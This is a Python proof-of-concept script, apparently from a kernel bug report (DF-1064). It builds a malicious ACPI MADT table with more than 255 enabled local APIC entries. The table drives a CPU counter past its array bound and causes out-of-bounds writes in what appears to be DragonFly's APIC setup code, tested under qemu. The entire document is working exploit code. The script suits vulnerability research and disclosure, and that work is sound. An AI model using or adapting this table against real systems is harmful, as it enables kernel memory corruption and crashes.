DF-1064 / gen_madt.py
#!/usr/bin/env python3 """ Generate a malicious ACPI MADT that triggers DF-1064: unbounded CPU counter in madt_lapic_pass2_callback / madt_x2apic_pass2_callback. Unlike DF-1042 (one entry with LocalApicId >= 256), DF-1064 uses MANY enabled entries (>255) to drive the cpu counter past NAPICID=256 and overwrite cpu_id_to_apic_id[cpu] / cpu_id_to_acpi_id[cpu] OOB. Both DF-1042 and DF-1064 share the same lack-of-bounds-check in lapic_set_cpuid. They are filed as siblings because the trigger and attacker-controlled value differ: - DF-1042: crafted LocalApicId as the apic_id (2nd) parameter. - DF-1064: too many enabled entries driving the cpu (1st) parameter. This script emits a MADT ready for `qemu -acpitable file=...`. """ import struct import sys SIGNATURE = b'APIC' REVISION = 3 OEM_ID = b'DFLY ' OEM_TBL = b'BIGMADT' OEM_REV = 0 CREATOR = b'INTL' CREATOR_R = 0 LOCAL_APIC_ADDR = 0xfee00000 FLAGS = 1 # PCAT_COMPAT def local_apic(processor_id, apic_id, flags): """ACPI_MADT_LOCAL_APIC: Type(u8)=0, Length(u8)=8, ProcessorId(u8), Id(u8), LapicFlags(u32).""" return struct.pack('<BBBBI', 0, 8, processor_id, apic_id, flags) def local_x2apic(local_apic_id, uid, flags): """ACPI_MADT_LOCAL_X2APIC: Type(u8)=9, Length(u8)=16, Reserved(u16), LocalApicId(u32), AcpiProcessorUid(u32), LapicFlags(u32).""" return struct.pack('<BBHIII', 9, 16, 0, local_apic_id, uid, flags) LOCAL_APIC_ENABLED = 1 # Generate the malicious body: one BSP + N enabled non-BSP entries. # N > 255 drives arg->cpu past NAPICID=256. N_EXTRAS = 300 body = local_apic(0, 0, LOCAL_APIC_ENABLED) # BSP, Id=0 for i in range(N_EXTRAS): pid = (i % 255) + 1 body += local_apic(pid, 1, LOCAL_APIC_ENABLED) # Id=1 != BSP, all enabled # x2APIC variant (uncomment to use instead): # body = local_x2apic(0, 0, LOCAL_APIC_ENABLED) # BSP, LocalApicId=0 # for i in range(N_EXTRAS): # body += local_x2apic(i + 1, 0xCAFE0000 + i, LOCAL_APIC_ENABLED) # Uid = chosen value # MADT-specific header (after the 36-byte ACPI table header). madt_specific = struct.pack('<II', LOCAL_APIC_ADDR, FLAGS) header_len = 36 + len(madt_specific) total_len = header_len + len(body) header = SIGNATURE header += struct.pack('<I', total_len) header += struct.pack('<B', REVISION) header += struct.pack('<B', 0) # checksum, fixed below header += OEM_ID header += OEM_TBL header += struct.pack('<I', OEM_REV) header += CREATOR header += struct.pack('<I', CREATOR_R) header += madt_specific table = header + body # Fix the checksum: sum of all bytes (including the 0 checksum byte) mod 256 == 0. chk = (-sum(table)) & 0xff table = table[:9] + bytes([chk]) + table[10:] sys.stdout.buffer.write(table) |